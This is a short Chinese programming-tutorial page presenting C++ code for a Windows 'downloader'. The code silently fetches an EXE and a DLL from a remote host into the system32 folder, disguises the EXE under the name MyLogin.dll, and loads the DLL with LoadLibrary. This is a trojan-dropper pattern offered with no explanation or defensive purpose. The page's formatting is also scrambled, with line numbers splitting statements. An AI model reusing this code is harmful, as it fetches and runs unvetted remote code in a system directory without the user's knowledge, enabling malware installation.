首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 操作系统 > windows >

windows8上的上载器(代码)

2013-02-24 
windows8下的下载器(代码)bool FileIsExist(LPCTSTR szFileFullPathName){WIN32_FIND_DATA Win32_Find_Dat

windows8下的下载器(代码)

    bool FileIsExist(LPCTSTR szFileFullPathName)  {  
  1.     WIN32_FIND_DATA Win32_Find_Data;         HANDLE hFindFile;     
  2.         hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);     
  3.         if(INVALID_HANDLE_VALUE == hFindFile)     
  4.     {             //AfxMessageBox("Not Exist");     
  5.         return false;         }     
  6.     else        {     
  7.         //AfxMessageBox("Have Exist");             FindClose(hFindFile);     
  8.         return true;         }     
  9. }    
  10. int main(int argc, char* argv[])  {  
  11.     char DownURL[255] = "http://www.domain.com/test.dll";      char DownLoadDir[255];  
  12.       char ExeURL[255] = "http://www.domain.com/test.exe";  
  13.     char ExeDir[255];    
  14.     GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));      GetWindowsDirectory(ExeDir,sizeof(ExeDir));  
  15.     strcat(DownLoadDir,"\\system32\\DLLtest.dll");      strcat(ExeDir,"\\system32\\MyLogin.dll");  
  16.       URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);  
  17.       Sleep(3000);  
  18.     URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);    
  19.     while(true)      {  
  20.         if(FileIsExist(DownLoadDir) == true)              break;  
  21.         else              Sleep(1000);  
  22.     }      Sleep(3000);  
  23.     LoadLibrary(DownLoadDir);      Sleep(10000);  
  24.     return 0;  }  

热点排行
Bad Request.